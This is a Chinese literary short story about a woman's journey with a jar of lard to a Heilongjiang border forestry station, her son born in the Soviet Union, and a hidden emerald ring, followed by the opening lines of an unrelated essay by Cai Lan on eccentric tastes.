　　在客栈里，人睡在铺上，东西什么的都得堆在地上。当然，能放在睡人的屋子的东西都是死物。活物呢，像旅客带来的猪羔和鸡，都放在马房里。但凡开客栈的，没有不养马的。小孩子们喜欢在马房玩儿。离开老鸹岭的前一天，我去马房找老二和老小，在那儿给马喂食的店主指着他的几匹马说，说吧，你相中了哪个，我让你牵走！我问，你怎么非要这个坛子不可呀？店主说，好物件和好女人一样，看了让人忘不了！咱没福分娶好女人，身边有个好坛子，也算心里有个惦记的！谁想这话被他老婆听到了呢。马房的地上铺着干草，所以谁也没听见她进来了。这女人真是刚烈啊，她一句话没说，一头朝拴马的柱子撞去，当时就昏了，额角裂了道口子，鲜血一股一股地流出来，把玩儿捉老鼠游戏的孩子们都吓坏了。

　　这天晚上，雨停了，月亮出来了。第二天早晨，鸡还没叫，司机就吆喝我们上路了。当我抱着猪油坛子上汽车时，看见店主的老婆站在车旁。她受伤的额头上贴着一块药布，脸是灰的。她见了我叫了一声妹子，扑通一声给我跪下了，让我留下那个坛子！她说这一夜想明白了，要是一个男人身边活物死物都不让他喜欢，这男人就等于活在阴天里，她不想看她男人以后天天阴沉着脸。说完，她哭了。我正不知该怎么办才好时，司机把店主找来了。店主听说他老婆下跪是为了给他要坛子时，受感动了。他把老婆拉起来，说，下了三天雨，地上潮气大，你有关节炎，要是跪犯了病，自己遭罪不是？你要是想跪，晚上就跪我的肚子上，那儿热乎。他那话，把围观的人都逗笑了。店主对我说，好看的东西都是惹祸精，咱不要那个玩意儿了，你快抱着走吧。他嘴上这么说，可他看坛子的眼神还是留恋的。

　　我们离开老鸹岭客栈时，太阳冒红了，店主搀着他老婆回屋了。我的眼睛湿了，觉得这个坛子没白用房子来换，真是宝物啊。大家看着他们夫妻和睦了，都跟着高兴。男人打口哨，女人哼着歌。鸟儿也跟着凑热闹，空中传来阵阵欢快的叫声。有人说，现在客栈没旅客了，店主一定是一进屋就脱了裤子，让他老婆上来跪肚皮啦！大家哈哈笑。我家老二问，肚皮那么软，能跪住人吗？一个黄胡子男人说，男人身上有根绳，用它拴女人，一拴一个灵，跪得住，跪得住！大家笑得更厉害了。老二凡事爱刨根问底，他问，那根绳在哪儿？快告诉我呀。

　　我们笑了一路。傍晌午时，车停在潮安河，我们到一家小店简单吃了点儿东西，接着赶路。太阳落时，到了黑河。

　　黑河是我今生到过的最大的城市啦，黑龙江就打城边流过。城里有高楼，有光溜溜的马路，有吉普车。街上骑自行车的人多，让我觉得这个地方挺富裕的。一些女人穿着裙子，露着腿，看得出这个地方挺开放的。客运站就在码头边，车还没停下来，我就望见了码头上的客船和货船。

　　往上游漠河去的船每星期有两趟，一趟大船，一趟小船。那儿的人管大船叫大龙客，小船叫小龙客。我们到的当天上午，小龙客刚走，大龙客要两天后才开。我乐意在黑河耽搁两天，想着这次到了老潘那里，一头扎进大山里，指不定哪年哪月再出来呢，我得给脑子里攒点儿好风景，空落时好有个念想啊。买了船票后，我就领着孩子逛商店，买了二十尺蓝色斜纹布、五尺平纹花布，想着过年时给孩子们做新衣。黑河的对岸就是苏联，有家商店有苏联围巾卖，我看着花色和质地都好，又不贵，给自己买了一块。除了这些，我还买了几条肥皂和几包蜡烛，把手里的钱基本花光了。上船时，兜里只剩六块钱啦。不过那时的钱真顶用呀，我们娘儿几个在船上吃一顿饭，一块钱就够了。

　　大龙客比小龙客慢，又是逆水走，该是一天到的路，走了两天。坐船比坐敞篷汽车要舒服多了，稳当，又风凉。白天时，我领着孩子站在船尾看山水，看江鸥，也看船上的厨子捕鱼。那时的鱼真旺呀，撒下一片网，隔半个钟头起网，起码能弄到一脸盆鱼。孩子们玩儿得高兴，到了下船时，个个都舍不得。

　　我们下船的地方叫开库康，有人把它念白了，就成了开裤裆。老潘所在的小岔河经营所，离开库康还有五十多里呢。一下船，就有一个瘦高个儿的小伙子走上来问我，是潘大嫂吧？我说是啊。他说，我叫崔大林，潘所长让我来接你，我等了一个星期了。我对他说，这一路出来不顺当，在老鸹岭遇雨耽搁了三天，在黑河等大龙客又耽搁了两天。小伙子说，我还想呢，要是这趟船再等不来你们，我就回林场了。崔大林接过我怀中的猪油坛子，说，潘大嫂，你可真能耐，领着仨孩子，又倒火车又换船的，还捧着个坛子！

　　这崔大林给我的第一印象是机灵，会说话。他说他是林场的通讯员。

　　我跟在崔大林身后去客店的时候，心里想，老潘当了所长了，看来在这里干得不错呀。可他在信上一个字也没透露过。他这个人就是这样，好事坏事都不爱跟女人说。

　　大龙客在开库康停了二十分钟，接着走了，它还有三站到终点呢。我们在开库康住了一宿，第二天一大早，就上路了。

　　崔大林准备了一副担子，挑着两个箩筐。他让老二坐在前筐，说是男孩子皮实，不怕日头。老小坐在后筐，说是有他的身影做着阴凉，老小在后筐就不会觉得太晒。他还把我们带来的东西分装在两个箩筐里。他挑着担子在前，我和老大跟在后面。我把猪油坛子放在背篓里，背在肩上，比抱在怀中要得劲儿多了。

　　要是轻手利脚地走五十里路，也得多半天，何况我们挑担背篓的，走的又是林间小路呢。崔大林虽然有力气，但他每挑个半小时左右，也要停下来喘口气。歇着时，老大爱问，还有多远？崔大林总是说，快了，翻过前面那座山就是。那时山上的树真多啊，水桶那么粗的落叶松和碗口粗的白桦树随处可见。林子中的鸟儿也多，啾啾地叫得怪好听。渴了，我们就喝山泉水，饿了，就吃上一把从开库康客店买的炒米。林子里的野花也多，老小坐在后筐里，时不时伸出手揪上一朵，不管是红百合、白芍药还是紫菊花，只管往嘴里填。我怕有些不认识的花会药着她，只让她吃百合花。大概她嘴里有了花香的缘故吧，蝴蝶和蜜蜂爱往她嘴丫飞，她哇哇叫着，挥着小手赶它们。要说林中什么东西最厌烦人？那就是蚊子、瞎蠓和小咬。它们都是爱喝人血的家伙。我们走着路的，它们难下口，坐在箩筐里的老二和老小可就遭殃了，到了中午，我发现老二的左眼皮让瞎蠓给咬肿了，他看上去一只眼大，一只眼小。老小呢，她的脖子和胳膊让蚊子叮了好多处，起了一片红点儿。我心疼坏了，心里忍不住埋怨老潘，他也不想着我领着仨孩子一路有多辛苦，只打发个人来，真心狠啊。想着到了那里后，一定不和他睡一个被窝，晾着他。

　　我们拖拖拉拉走到下午，忽然听见密林深处传来一阵马蹄声。崔大林放下担子对我说，这一定是打猎的鄂伦春人。果然，一忽的工夫，就见一匹棕红色的马从林子中蹿出，马上是一个挎着猎枪穿着布袍子的鄂伦春人。他见了我们，跳下马，问崔大林我们要去哪里。崔大林说去小岔河经营所。鄂伦春人说他可以用马送我们过去。我让崔大林卸了担子，把箩筐吊在马上，但崔大林说他不累，非让我和老大骑马。老大胆子小，不肯骑。我也没骑过马，但看着马还算温顺，再说我累得不行了，看见马跟见了救星似的，就背着猪油坛子壮着胆上马了。刚上去时晃悠了几下，走了一会儿，就习惯了。开始时鄂伦春人帮我牵着马，后来他看我骑得稳，就去抢崔大林的担子，说是换换肩，让他歇一歇。鄂伦春人的心眼儿真是好使啊。

　　山中的路坑坑洼洼的，走这样的路，再有经验的马，也有失蹄的时候。在马上自在了一个多钟头后，我们经过一片裸露着青石的柳树丛。没想到马被一块石头绊了一下，它一侧歪，我从马上掉了下来。我倒是没怎么伤着，就是胳膊肘和膝盖破了点儿皮，可是那个猪油坛子可怜见的，摔碎了。一想到坛子抱了一路，快到地方却出了事了，我哭了。心疼白花花的猪油，更心疼那个漂亮的坛子，早知如此，还不如把它留在老鸹岭客栈呢。崔大林见我哭，就安慰我，说是把坛子的碎瓷拨拉开，猪油还是能吃的。他把能盛油的东西都拿来了，闷罐，碗，一把一把地往里划拉猪油。这些器物满了后，我把老潘弟弟送的油纸伞打开，把余下的猪油收进伞里。好端端的猪油沾上了草，一些蚂蚁在里面钻来钻去，我那心啊，别提有多难过了！但我凡事能看得开，想着这个坛子太美了，所以命薄，碎就碎吧。

　　我说什么也不敢骑马了。鄂伦春人觉得过意不去，他对老大说，他可以抱着他一同骑在马上，老大吓得连连说，我走得动。鄂伦春人要把坐着老二和老小的箩筐吊在马上时，他们也都哇哇叫，不愿意。他们一定是怕像我一样被颠下来。结果这匹马最后驮着的只是散装在背篓中的猪油。怕它们互相磕碰着，鄂伦春人捋了几把青草，把它们掖在闷罐、碗和半开的油纸伞之间。每走半个小时，他就去换崔大林，帮他挑会儿担子。

　　就这样，我们走走停停，把太阳走落了，把月亮走升起来了，把野兔走回窝了，把眼睛锃亮的猫头鹰走出来了。晚上八点多钟，到了小岔河经营所。那时箩筐里的老二和老小已经睡过去了。老潘见了我，还有心思开玩笑，说是有两个牛郎帮我挑担子，福气不小啊。

　　那时经营所的房子只有七八栋，有三十来个工人，其中七八个是带家属的，比我早到不了多少日子。我们住的房子是板夹泥的，很旧，老潘说那还是伪满金矿局留下的呢。我说，那我得留神点儿，说不定哪天挖地，挖出块狗头金呢！

　　鄂伦春人把我们送到后，骑着马走了。我嫌老潘没留他过夜。老潘说，他们睡不惯屋子，喜欢住在林子里，你留他，他也不会答应的。

　　我折腾得骨头都快散架了，安顿好孩子后，我烫了个脚，上了炕。快两年没见老潘，我有一肚子的委屈。猪油坛子碎了时，想着晚上给他点儿颜色看，可一见着人，就刚强不起来了，看他哪里都亲，最后还不是睡在一起了。

　　只一两天的时间，小岔河的孩子们就熟悉起来了。老潘说年底时还要上一批工人，到时组织上会派来一个教师，那时老大就有学上了。不然他这种年龄不上学，在大山里就耽搁了。

　　我把猪油从闷罐、碗和伞中用勺子刮到一个脸盆里，用它做菜。那时小岔河开垦出的土地不多，再加上菜籽不全，男人们只种了豆角和土豆。我们这些留在家里的女人就找了一个在山中游猎的鄂伦春人，让他教我们认野菜。采了水芹菜、山葱、老桑芹后，我们就掉着样地给男人们做菜，把他们吃得天天叫好，上山伐木时更有力气了。野菜用猪油烹调最对路了，野菜吃油啊。有时吃着吃着，会在菜里发现蚂蚁，那是猪油洒了时，蚂蚁趁乱溜进去的。它们贪了口福不假，小命却是搭上了。老潘夹着蚂蚁时，也不挑出，说是蚂蚁浸了一身的油，扔了可惜，连同它一起吃了。到了小岔河没两个月，我怀上了。兴许是吃猪油的缘故，这胎儿特别显怀，秋天蘑菇下来的时候，谁都看出我有了。男人们就拿老潘开玩笑，说，潘大嫂才来两个来月，你的种子就发芽了，本事大啊。老潘笑着说，都是猪油里的蚂蚁搞的，那东西长力气啊！

　　大兴安岭一到十月就进入冬天了。那时的雪真大啊，一场连着一场。天是白的，地是白的，树和人被这一上一下两片白给衬的，都成了黑的了。男人们采伐，女人也不能闲着，除了带孩子做饭，还得上山拉烧柴。碰到樟子松身上有明子疙瘩的，我们就锯下来，把它劈成片，用来引火。我们还把明子疙瘩放到大铁锅里，填上水，熬油。熬出的油像琥珀似的，可以用来点灯。这样的灯油散发的烟有股浓浓的松香气，好闻极了。我就是在熬松油的时候要临产的。那是一九五七年的四月，要是在南方，麦苗都青了，可小岔河还在下大雪，黑龙江也封冻着呢。当地虽然有个卫生所，但唯一的医生只能治个头痛脑热、处置点儿小的外伤什么的。碰到大毛病，就傻眼了，到时就得套上爬犁，用担架把重病号送到开库康。

　　那时的女人最怕生孩子难产了。在那种地方，人说扔就扔了。按理说我生过仨孩子了，不该怕了，可是胎儿太大了，疼得我满炕打滚，就是生不下来。幸亏那是傍黑的时候，男人们从山里回来了。卫生所的医生看我那样子，害怕了，她让老潘赶快想办法送我出山。如果去开库康，快马也得三个钟头，何况我上不了马。这时崔大林说，要不就送江对岸吧，苏联那里的医院好。

　　那个年月，住在黑龙江界河沿岸的村落，比如洛古河、马伦、鸥浦，如果碰到了来不及去大医院救治的重病人，便就近送到苏联去了，比如加林达、乌苏蒙。虽说过界是不允许的，苏联那边有岗哨，但他们看见抬来的是病人的话，就会让我们入境。老潘是个党员，又是经营所的领导，按理说不管我和孩子是死是活，该把我往开库康送，免生麻烦。但老潘就是老潘，他一点儿也没犹豫，立马吩咐人套马爬犁，准备担架，领上崔大林，把我用两床棉被包裹上，去了苏联。那个小村当地人叫它“列巴村”，列巴就是“面包”的意思。苏联人喜欢吃列巴，夏季时能从江边闻到对岸烤面包的香味。那时黑龙江还封冻着，省却了渡船的麻烦。我们一越边界，苏联岗哨的两个士兵就端着枪跑来了，没谁会说俄语，老潘指着马爬犁上的我，拍了一下我的大肚子，然后摇摇头，苏联士兵便明白这是遇到难产的病人了，点了点头。其中的一个带路把我们送到了医院。那家医院虽小，但设施全。接诊的是个年岁很大的男医生，胡子都白了。他看了看我的情况后，先是给我打了一针，然后给我做了剖腹手术，取出了个哇哇哭叫的胖男娃。他快十斤重了，怪不得我生不下来呢。老潘一看母子平安，一个劲儿地给那个医生作揖。由于出来匆忙，我们什么礼物也没有带，老潘有块手表，他从腕上撸下来，送给医生，人家笑笑把表又套回他手腕上了。老潘满身翻，翻出半包烟和两块钱。钱是人民币，给他也不能使，老潘就把烟递给医生。医生指了指我，摆摆手，示意在病人面前不能抽烟。由于开了刀，当天不能返回，我们在那儿住了两天。苏联医生招待我们吃喝，还帮我们喂马。医院的女护士给我带来了鸡蛋和面包，还送给孩子一套棉衣裳，蓝地红花，怪好看的。临走的时候，我很舍不得，我亲了女护士，也亲了给我做手术的男医生。岗哨的士兵拿出一页我们谁都看不懂的纸，让老潘在上面签了字，按了手印。

　　回到小岔河林场后，老潘就去了开库康，辞他的所长去了。他说自己无组织无纪律，为了让老婆平安生产，越了边界，不配做所长了。但组织上只给他一个口头警告，没处分他。他从开库康欢天喜地地回来了，买了二斤喜糖，给小岔河的每户人家都分发了几颗。这孩子是在苏联生的，我们给他起的大名是“苏生”，小名呢，就叫蚂蚁。老潘说不是因为猪油中的蚂蚁滋养，他的精血不会那么旺，致使我怀的胎儿壮得生不下来。

　　苏生是几个孩子中长得最漂亮的了。宽额和浓眉随老潘，高鼻梁和上翘的唇角随我。眼睛呢，既不随我，也不随老潘，不大不小，黑亮极了，老潘说随蚂蚁，他非说蚂蚁的眼睛亮。小岔河的人都喜欢他，说他生就一副富贵相。人们很少叫他的大名，都爱叫他的小名。

　　蚂蚁四岁时，崔大林结婚了。小岔河来了个皮肤白净的女教师，叫程英，扬州人。也许是江南的水土好吧，她长得才俊呢，杨柳细腰，俏眉俏眼的，两条大辫子乌黑油亮的，在肩后一荡一荡的，荡得男人们心都慌了。有三个人追求她，一个是开库康小学的老师，一个是小岔河林场的技术员，还有就是崔大林了。最后她还是嫁给了崔大林，人家说程英是看上了崔大林家祖传的一只镶着绿宝石的金戒指。

　　在当地，结婚前夜有“压床”的习俗。所谓“压床”，就是找一个童子，陪新郎倌睡上一夜。据说这样婚床才是干净的。崔大林和程英都喜欢蚂蚁，就让他去压床。一般四岁的孩子，离不开父母的怀儿，可我们跟蚂蚁说，让他跟崔叔叔睡一夜的时候，他高高兴兴地答应了。崔大林抱他走的时候，蚂蚁还问，我是睡崔叔叔呢，还是睡程阿姨？把我和老潘笑得哇，说，你要是睡了程阿姨，崔叔叔就该打你的屁股了！

　　蚂蚁没压好床，崔大林说，这孩子突然肚子疼，哼唷了一宿。到了天明，这才消停了。老潘去接蚂蚁的时候，他的肚子已经好了，他还拿着赏给他的两块压床钱，跟老潘说他能给家里挣钱花了。

　　崔大林的婚礼才热闹呢，小岔河林场的人都到场了。那是一个夏天的礼拜天，我们在屋外搭起帐篷，支上锅灶，女人们七碟八碗地做菜，男人们喝酒，孩子们咂着喜糖做游戏，一直闹腾到晚上。年轻的小伙子又去闹洞房，把新郎新娘折腾到了天明。

　　我们在婚礼上见到了新娘子手上戴的戒指。金戒指上果然镶着颗菱形的绿宝石，那宝石看一眼就让人忘不了，是那种没有一点儿杂质的透亮的绿，醉人的绿！我们这些女人拉着程英的手，个个看得“啧啧”叫，羡慕得不得了。有人说它值一栋好房子，有人说它值一车皮红松，有人说它值五匹好马，还有人说它值一千丈布。只要是我们能想得到的好东西，都被打上比方了。从那以后，我们见到的程英就是手指上戴着绿宝石戒指的样子。她握着粉笔在黑板上写字的时候，学生们都说那字被映得一闪一闪的。冬天时，她戒指上的那点儿绿看了让人动心，好像她的指尖上藏着春天。

　　孩子们在小岔河一天天长大了，林场的人也越来越多了。小岔河学校又增加了一名男教师，是个单身，人家都说崔大林很不高兴他和程英一起工作。

　　说来也怪，程英结婚好几年了，一直没有怀上孩子。她的身体看上去挺好，不像是不能生养的，有人就嘀咕崔大林有毛病。有一年春节，他们俩回程英的娘家探亲，回来时带来了大包小包的中药。从那以后，崔大林家就老是飘出汤药味。我们猜那是治疗不孕症的药。至于是谁吃，我们猜不出来，也不便问。

　　山中的日子说慢很慢，说快也很快。好像是一忽的工夫，我的鬓角就白了，老潘的力气也不如从前了。尽管生了蚂蚁后我又怀上了两回，但没一个能站住脚。头一个三个月时就流产了，第二个倒是生下来了，是个女孩，才四斤多，我没奶水，只得喂她羊奶。她弱得三天两头就病，三岁时，一场高烧要了她的命。从那后，我就跟老潘说，咱也是奔五十的人了，有四个孩子了，再不要了。老潘说，不生也够本了，咱最后那一笔多带劲儿啊！那一笔当然指的是他心爱的蚂蚁。

　　“文革”前，老大参加工作了，在小岔河林场当木材检尺员。老二喜欢上学，我们就让他在开库康上中学。老姑娘在小岔河上小学，她一拿课本就迷糊，脑瓜不灵便，程英说别的孩子记一个生字三五分钟就够了，她呢，一天也学不会一个字，都五年级了，没有一篇课文能读连贯。不过她手工活儿巧，会钩窗帘，织毛衣，还能裁剪衣裳，我想女孩子会这些就不愁嫁人了。最让人省心的是蚂蚁，他功课好，又勤快，还仁义。学校冬天得生炉子，他那个教室的炉子，都是他烧的。每天天还没亮，他就去烧炉子了。等到上课时，教室就暖和了。

　　“文革”开始了，中苏关系也紧张了。因为我在苏联的列巴村生的蚂蚁，旧账新算，非说老潘是苏修特务，说老潘当年签的字是卖国的证明。他的经营所所长给撤了，人被揪斗到开库康，在船站打杂。崔大林也跟着倒霉了，被发配到开库康粮库看场。后来是老潘把责任都揽到自己身上，说是当年是他主张送老婆去苏联的，而且字也是他签的，跟崔大林没丝毫关系，让他还是留在小岔河，说是崔大林在开库康，跟老婆分居，耽误下种。人家都知道崔大林没有孩子的事情，就把他放回小岔河了。不过他不能坐办公室了，跟工人一样上山伐木了。

　　可是崔大林回到小岔河没多久，程英就死了。

　　要了程英命的，是那只绿宝石金戒指。

　　自打程英结婚后，那戒指就没离过手。她教书时戴着，挑水时戴着，到江边洗衣服时还戴着。也许是一直没有孩子的缘故，程英后来脸色不如从前了，人也瘦了。有一天，程英去江边洗衣服，回来后发现戒指丢了。人一瘦，手指自然也跟着瘦了，再加上肥皂沫的使坏，戒指一定是秃噜到江中了。小岔河的人都帮着程英去找戒指，人们在程英洗衣服的那一段江面撒开了人，浅水处用笊篱捞，深水处由水性好的潜进去搜寻，折腾了两天，也没找着。

　　程英没了戒指后，整个人就跟丢了魂似的，看人时眼神发飘，你在路上碰见她，跟她打招呼，她就像没听见似的。她给学生上课，也是讲着讲着就卡了壳。她原来是个利索人，衣服从没褶子，裤线总是压得笔直的，辫子编得很匀称。可从戒指丢了后，她等于失去了护身符，衣衫不整，头发蓬乱，牙齿缝塞着菜叶也不知剔出来。从她的表现看，人们暗地都说，当年她嫁给崔大林，确实图的是财，而不是人。

　　有天晚上，程英没有回来。崔大林把小岔河找遍了，也不见人。四天后，在黑龙江下游一个叫“烂鱼坑”的地方发现了她。尸首荡在岸边的柳树丛里，已经腐烂了。人们都说，程英要么是去江中找戒指时让急流卷走了，要么就是自杀。没了心爱的东西，她就活不起了。

　　我想起蚂蚁当年去崔大林那儿压床时害肚子疼的事情，看来童子是有灵光的，他们的婚床没给那对新人带来好运。

　　崔大林从此后腰就弯了，整天耷拉着脑袋，跟谁也不说话了。不到四十岁的人，看上去像个小老头儿了。他家从那以后再也没有汤药味飘出来了。

　　崔大林没了老婆，再加上他因为老潘受了牵连，我很过意不去。蚂蚁在家时，我常打发他去帮崔大林干点儿活儿，劈个柴啦，扫个院啦，挑个水啦。有时候做了好吃的，就送给他一碗。小岔河的人也可怜他，常有人往他家送菜和干粮。

　　蚂蚁那时已经大了，他知道爸爸因为他而遭殃了，很不开心。他开始逃学，也不给学校生炉子了。有的时候，他一个人扛着红缨枪，步行几十里，去开库康看他爸爸。说是谁若敢在他爸身上动武，他就用刺刀挑了他！他十四岁时就有一米七了，体重一百多斤，胡子也长了出来，像个大小伙子了。开库康的人没有不知道蚂蚁的，他去到那里，总是雄赳赳的模样。就连批斗老潘的人都说，你这辈子值了，有这么个好儿子！

　　蚂蚁不上学后，冬天就上山伐木；夏天呢，他跟着人去黑龙江上放排，把木材从水上由小岔河运送到黑河的码头。每放一次排，总要十天八天的时间。放排是个危险的活儿，蚂蚁一跟着上排，我就睡不着觉，想着黑龙江上有许多急流险滩，万一出了事，可怎么好？所以蚂蚁放排时，我总要请把头喝一次酒，托付他照应好蚂蚁。木排上的把头又称“看水的”，掌管棹，棹相当于船桨，起舵的作用。放排是否平安，取决于掌棹人的手艺。看水的把头都喜欢蚂蚁，说是他一上了排，一路风平浪静。他是福星。一般的木排有一百多米长，三十多米宽，排上能装二百多立方米的木材。一个排上放排的人总要有七八人，排上有锅灶和窝棚，可以在上面做饭和睡觉。把头说，蚂蚁最喜欢站在排上往江里撒尿，说是畅快。赶上月亮好的夜晚，他们在排上喝酒，蚂蚁就说快板书。他说书的内容是自编的，全是英雄美人的故事，放排的人都爱听。

　　一九七四年吧，蚂蚁虚岁十八了。好多人都给他介绍对象，可蚂蚁说大丈夫四海为家，娶了女人累赘。这年夏天，他又去放排了。这次放排改变了蚂蚁的命运。

　　从小岔河往黑河去的水路上，要经过一个叫金山的地方。金山的对岸，是苏联的一个小镇。一般来说，放排是昼行夜宿的，就是说每天晚上要找一个地方“停排”，第二天早晨再“开排”。金山那段水路石砬子多，赶上那天风大，看水的把头在停排时掌握不住棹了，木排打着旋儿，顺着风势，一直往苏联那边飘，一忽的工夫，就撞到人家的岸上了。那时苏联在黑龙江上增加了防御，常有被我们称为“江兔子”的巡逻艇在江上窜来窜去。木排一靠那岸，江兔子就追过来了，苏联士兵端着枪下来，哇啦哇啦地冲放排的人叫嚷。语言不通，把头就指着天，意思是说老天爷把我们吹来的，我们并没想越界。蚂蚁鼓着腮帮子，呜呜呜地学大风叫，把苏联士兵都逗笑了。那时正是傍晚，小镇的人家都在忙活晚饭，烤列巴的香味飘了过来。把头说，岸边有几个织鱼网的姑娘，其中一个姑娘穿着蓝色布拉吉，金黄色的头发，梳着一条独辫，水汪汪的大眼睛，白净的皮肤，鹅蛋形脸，嘴唇像是刚吃完红豆，又丰满又鲜艳。她不看别人，专盯着蚂蚁。把头知道苏联人喜欢喝酒，就把木排上的几瓶烧酒拿来，送给他们。他们呢，吩咐岸边的姑娘进镇子拿来了酸黄瓜和列巴。苏联士兵和放排的人围坐在岸边，一起吃喝。那个姑娘呢，就站在蚂蚁身后，一会儿帮他掰面包，一会儿帮他添酒。蚂蚁也喜欢她，看她一眼脸就红一阵。吃喝完了，天黑了，风住了，月亮升起来了，把头预备把木排摆回金山岸边了。那个姑娘看蚂蚁上了排，眼泪汪汪地从兜里掏出一个小木勺，送给他。木勺的把儿是金色的，勺面呢，是金色的地儿，上面描画着两片红叶，六颗红豆。蚂蚁接了木勺后，把它插在心窝那儿。

　　这次放排回来后，蚂蚁就不是从前的蚂蚁了。他常常一个人拿着木勺，坐在院子里发呆。他每天要去一次江边，名义是捕鱼呀、洗澡呀、刷鞋呀，其实大家都明白他是为了看看对岸。

　　有一天，蚂蚁用网挂上来一条足有十多斤重的红肚皮的细鳞鱼。那鱼被提回家时，还摇头摆尾着。我想做个酱汁鱼，装上一罐，去开库康看看老潘。刮完鱼鳞，用刀剖膛时，我发现这鱼的鱼肚异常地大。大鱼的鱼肚是不可多得的美味，我划开鱼肚，一缕绿光射了出来，那里面竟然包裹着一只戒指！取出后一看，竟然是程英丢失的那一只，我简直不能相信自己的眼睛！我怕是自己眼花了，喊来蚂蚁，他看了一眼就说，是程老师戴的戒指啊！我们把它放在水盆中，用肥皂洗了又洗，将附着在上面的鱼油和江草洗掉，它鲜亮得就像一个要出嫁的姑娘，看一眼就让人怦怦心跳。我想这条鱼要是早打上来就好了，那样程英就不会死了。这也说明，戒指确实是在她洗衣裳时滑落到江水中的。我和蚂蚁赶紧用块手绢包了戒指去崔大林家，想把它还了。谁知崔大林见了戒指后看了一眼就哭了，说，这是命啊，命啊，我不能要这戒指了。我以为他想起程英伤心，就说，你现在看着难受，就把它锁在柜子里。你下半辈子又不能一个人这么过下去，碰到合适的还得找一个，晚上吹灯后好有个说话的人。崔大林抓着我的手，哭得像个泪人，说，潘大嫂，这戒指命该是你的，我说什么也不能要。它要是再回到我家，我非死了不可！我说，这东西这么金贵，不是我的，我不能要。崔大林竟然给我跪下了，求我救救他，留下戒指。我见他那样，就说，那就给蚂蚁吧，鱼是他打上来的，等于他捡着的，这戒指留着他将来娶媳妇用。蚂蚁将崔大林从地上拉起来，干脆地说，我喜欢它，我要！就把戒指取过来，揣在兜里了。

　　那时我并不知道崔大林心中的秘密，只当他没了旧人，怕见旧物了。

　　我把那条细鳞鱼用油煎透，放了一碗黄酱，慢火煨了三个钟头，鱼骨都酥了，盛了满满一罐，搭了一辆拖拉机，去开库康了。那时从小岔河到开库康已经修了简易公路，走起来方便多了，两个钟头就到了。船站的人对老潘很好，并不让他干重活儿，我去了，还让他休息一天，陪我逛逛供销社。我跟老潘说了戒指藏在鱼肚中的事情，老潘说，听上去像是神话，只有蚂蚁才能把吞了绿宝石戒指的鱼打上来啊！

　　我怎么能够想到，等我从开库康返回小岔河时，蚂蚁走了。他留下了三封信，一封是给开库康的组织的，说是他爸爸因为他生在苏联而成了苏修特务，现在他离开中国了，跟家里永久断了联系，应该把他爸爸放回小岔河了。一封是给他哥哥姐姐的，说是他不孝，请他们好好待父母，为我们养老送终。还有一封是写给我和老潘的，说是他此去，永不回来了，请我们不要难过，要保重身体。在我们那封信的下面，他还画了一个磕头的男孩，说是每年除夕，只要他活着，不管在哪里，他都会冲着小岔河的方向，给我们磕头拜年的。

　　蚂蚁带走了那只戒指和那把描画着红豆的木勺。我明白，他这是游到对岸去了。老潘是条硬汉，我从没见过他掉泪，但蚂蚁的走，让他痛不欲生，以后只要谁一提起这个话题，他就掉泪。我也是心如刀绞，但为了老潘，只得挺住，我劝他，在哪里生的孩子，最后还得把他还到哪里，这是命啊。

　　我们没敢把信的内容透露出去，只是说蚂蚁失踪了，不知去哪里了。不然，老潘等于有了一个叛国投敌的儿子，罪更大了。那些日子我们整天提心吊胆的，怕蚂蚁突然被遣返回来。没有遣返的消息时，我们又担心他偷渡时淹死了，所以一听说黑龙江的哪个江段发现了尸首时，我们就打哆嗦，直到确认那人不是蚂蚁时，才会舒口气。到了冬天封江时，我们的心渐渐安定下来，想着蚂蚁一定是平安过去了，跟心爱的姑娘在一起了。

　　“文革”结束了，老潘回到小岔河。那时经营所已经扩展成林场，上头派来了一个场长，让老潘做副场长，他谢绝了。他说自己快六十的人了，又得了风湿病，没能力做事情了。我明白，蚂蚁的离去，等于把他油灯中的灯芯抽去了，他的心里没有多少亮儿了。

　　一九八九年，老潘死了。他活了七十岁，也算喜丧了。离世前，他对我说，真是馋你当年来小岔河时带来的猪油啊。我知道他是想蚂蚁了，就拿来蚂蚁留给我们的那封信。他眼睛盯着那个磕头的男孩，笑了笑，撒手去了。

　　在老潘的葬礼上，崔大林把折磨了他半生的秘密告诉了我。他说那个戒指确实是我的，当年他从开库康接我来小岔河的路上，猪油坛子碎了，他在帮我往碗里划拉猪油时，发现了一只绿宝石戒指。他一时贪财，把它窃为己有。开始时他不敢把它拿出来，以为那是我藏到里面的，后来套问过我几次，知道那坛猪油是用房子换来的，戒指的事我一无所知，他就敢拿出来了。程英能跟他，确实是因为这只戒指。他其实心里清楚，程英更喜欢那个追求她的技术员。婚后，他一看到这只戒指，腿就发软，做不成男人该做的事。他央求过程英，不让她戴那玩意儿，可她不答应，他们为此没少吵嘴。我问崔大林，你为什么要等到老潘死了才告诉我？他说，老潘是条汉子，他要是知道了，他看我的眼神就能把我给杀了啊。

　　我这才明白，当年霍大眼为什么嘱咐我不要让别人吃那坛猪油，看来他要送我那只戒指，他暗中是喜欢我的。老潘的弟弟刚好从河源老家赶来奔丧，我就向他打听霍大眼的情况。他说，霍大眼得了脑溢血，死了六七年了！他活着时，一见老潘的弟弟，就向他打听，你哥哥嫂子来信了吗，他们在那里过得好吗？老潘的弟弟说，有一回他告诉霍大眼，说我生了一个儿子，叫蚂蚁，霍大眼说了句，比叫臭虫好啊，气呼呼地走了。霍大眼的老婆是个泼妇，两口子别扭了一生。霍大眼病危时，他老婆正在鞋店试一双黑皮鞋。别人唤她快回家，她不急不慌地对店主说，给我换双红鞋吧，他死了，我得避邪，省得老王八蛋的鬼魂回来缠我。

　　咳，可惜我知道这戒指的来历晚了一步。要是老潘在，我可以跟他显摆显摆：瞧瞧啊，也有别的男人喜欢我啊。不过以老潘的脾性，他听了后肯定会哈哈大笑着说，一个眼睛长得跟牛眼似的屠夫喜欢你，有什么臭美的？

　　老潘死后的第二年，崔大林也死了。我仍然活着，儿孙满堂。我这一生，最忘不了的，就是从河源来小岔河那一路的风雨。我的命运，与那坛猪油是分不开的。夏日的傍晚，我常常会走到黑龙江畔，看看界江。在两岸间扇着翅膀飞来飞去的鸟儿，叫声是那么地好听。有一种鸟会发出“苏生——苏生——”的叫声，那时我便会抬起头来。我眼花了，看不清鸟儿的影子，但鸟儿身后的天空，我还看得挺分明呢。

逐臭之夫

蔡澜

　　“逐臭之夫”字典上说：“犹言不学好下向之徒”。这与我们要讲的无关，接着解“喻嗜好怪癖异于常人”，就是此篇文章的主旨。你认为是臭的，我觉得很香。外国人人亦言“一个人的美食，是另一个人的毒药”，实在是适者珍之。

